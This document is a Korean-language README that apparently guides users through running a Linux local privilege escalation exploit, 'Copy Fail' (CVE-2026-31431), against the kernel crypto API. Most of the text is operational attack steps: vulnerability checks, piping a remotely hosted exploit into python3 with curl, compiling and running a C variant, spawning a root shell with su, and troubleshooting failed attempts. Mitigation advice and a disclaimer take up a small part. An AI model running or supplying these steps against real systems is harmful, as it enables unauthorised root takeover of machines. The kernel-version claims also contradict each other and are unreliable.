Copy Fail (CVE-2026-31431) – 익스플로잇 사용 가이드

원본 Readme는 @painoob에서 가져옴

2017 / 2016 이후의 모든 커널 버전이 취약함 ! 커널 7은 완전히 면역, 그 외(5-7 사이)는 여전히 취약할 수 있음

⚠️ 면책 조항

이 콘텐츠는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템에서 실행하지 마십시오.

📌 개요

Copy Fail (CVE-2026-31431) 은 AF_ALG를 통해 커널 crypto API에 영향을 미치는 Linux 로컬 권한 상승(LPE) 취약점입니다.

이는 비권한 사용자가 SUID 바이너리(예: /usr/bin/su)의 페이지 캐시 데이터를 덮어쓰고 root 접근 권한을 얻을 수 있게 합니다.

🧠 요구 사항

시스템 요구 사항

• Linux 커널 (취약함 – 패치 상태에 따라 다름)
• AF_ALG 활성화됨
• algif_aead 모듈 로드됨

Python 익스플로잇 요구 사항

• Python 3.10+
• 다음에 대한 지원:
  • os.splice
  • socket(AF_ALG)

🔍 취약점 확인

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

예상 지표:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead 로드됨

🐍 Python 익스플로잇 실행

1. 직접 실행

python3 copy_fail_exp.py

2. 또는 curl을 통해 (원격 호스팅된 경우)

curl https://copy.fail/exp | python3

3. root 셸 트리거

su
id

예상 결과:

uid=0(root)

⚠️ 일반적인 문제 (Python)

❌ 오류: os.splice not found

원인:

• Python 버전 < 3.10
• 제한된 빌드

해결 방법:

• 더 새로운 Python 바이너리 사용
• 정적 Python 인터프리터 업로드

⚙️ C 버전 컴파일

1. 컴파일

gcc copy_fail_exp.c -o copy_fail

2. 실행 파일로 만들기

chmod +x copy_fail

3. 익스플로잇 실행

./copy_fail
su

⚠️ 일반적인 문제 (C)

❌ 익스플로잇이 실행되지만 root가 되지 않음

가능한 원인:

• 커널이 패치됨
• 잘못된 오프셋
• 환경 불일치

❌ 컴파일 오류

필요한 도구 설치:

apt update && apt install build-essential

🧪 문제 해결

시스템이 패치되었는지 확인

dmesg | grep -i alg

모듈 확인

lsmod | grep algif_aead

🛡️ 완화

취약한 모듈 비활성화

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

커널 패치 적용

시스템 업데이트:

apt update && apt upgrade

📌 참고 사항

• 익스플로잇은 페이지 캐시만 수정함 (비영구적)
• 로컬 접근 필요
• 기본적으로 원격 익스플로잇 불가

🧠 최종 통찰

익스플로잇이 실패하면 다음을 고려하십시오:

• 커널이 이미 패치됨
• 환경 제한
• 대체 권한 상승 벡터 (SUID, capabilities, sudo 잘못된 구성)

📚 참고 자료

• https://copy.fail/
• CVE-2026-31431

👨‍💻 작성자 노트

이 익스플로잇은 랩, CTF, 승인된 침투 테스트에서만 책임감 있게 사용하십시오.